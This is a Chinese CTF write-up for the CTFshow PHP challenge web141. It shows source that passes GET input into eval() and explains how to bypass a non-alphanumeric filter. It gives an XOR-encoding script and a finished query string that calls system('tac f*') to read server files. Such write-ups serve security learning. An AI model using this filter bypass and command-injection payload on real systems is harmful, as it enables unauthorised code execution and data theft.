CTFshow php特性 web141
生活随笔
收集整理的這篇文章主要介紹了
CTFshow php特性 web141
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
目錄
- 源碼
- 思路
- 題解
- 總結
源碼
<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-17 19:28:09*/#error_reporting(0); highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && is_numeric($v2)){if(preg_match('/^\W+$/', $v3)){$code = eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}} }思路
數字和運算符是可以一起執行命令的,如1+phpinfo()+1;是可以顯示phpinfo頁面的,GET傳入的只是字符串“1+phpinfo()+1”;是不能直接執行命令的,經過eval處理后就變成了可以執行命令,if(preg_match('/^\W+$/', $v3)){的存在我們只能傳入非數字字母,不過php7可以用(‘phpinfo’)()動態調用函數,可以用異或繞過
題解
異或腳本
<?php highlight_file(__FILE__); $a = $_GET['a']; for ($i = 0; $i < strlen($a); $i++) {echo "%".dechex(ord($a[$i])^0xff); } echo "^"; for ($i = 0; $i < strlen($a); $i++) {echo "%ff"; }?v1=1&v2=1&v3=%2b(%8c%86%8c%8b%9a%92^%ff%ff%ff%ff%ff%ff)(%8b%9e%9c%df%99%d5^%ff%ff%ff%ff%ff%ff)%2b
總結
水題
總結
以上是生活随笔為你收集整理的CTFshow php特性 web141的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: CTFshow php特性 web140
- 下一篇: CTFshow php特性 web142